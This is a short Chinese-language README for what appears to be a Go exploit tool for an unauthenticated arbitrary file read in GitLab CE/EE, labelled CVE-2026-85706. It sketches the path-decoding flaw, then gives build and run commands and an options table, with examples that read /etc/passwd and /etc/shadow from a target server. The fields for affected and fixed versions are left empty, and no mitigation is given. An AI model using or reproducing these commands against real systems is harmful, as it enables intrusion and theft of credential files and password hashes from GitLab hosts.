GitLab CE/EE 未认证任意文件读取漏洞(CVE-2026-85706)。
受影响版本:
已修复版本:
该漏洞存在于 GitLab 的 Workhorse 组件中。Workhorse 的正则表达式看到的是编码后的路径,而 Puma 会对其进行解码。Rails 的 File.open(file.path) 在身份验证之前被调用,并且 urlencoded 解析会将无效的 % 编码插入到 400 响应体中,导致文件内容泄露。
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| 参数 | 描述 | 默认值 |
|---|---|---|
-u | 目标 URL(例如 https://gitlab.example.com) | - |
-f | 要读取的文件(例如 /etc/passwd) | - |
-k | 跳过 TLS 验证 | false |
-t | 并发线程数 | 1 |
-v | 详细输出 | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
这将尝试从目标 GitLab 实例读取 /etc/shadow 文件,并跳过 TLS 验证。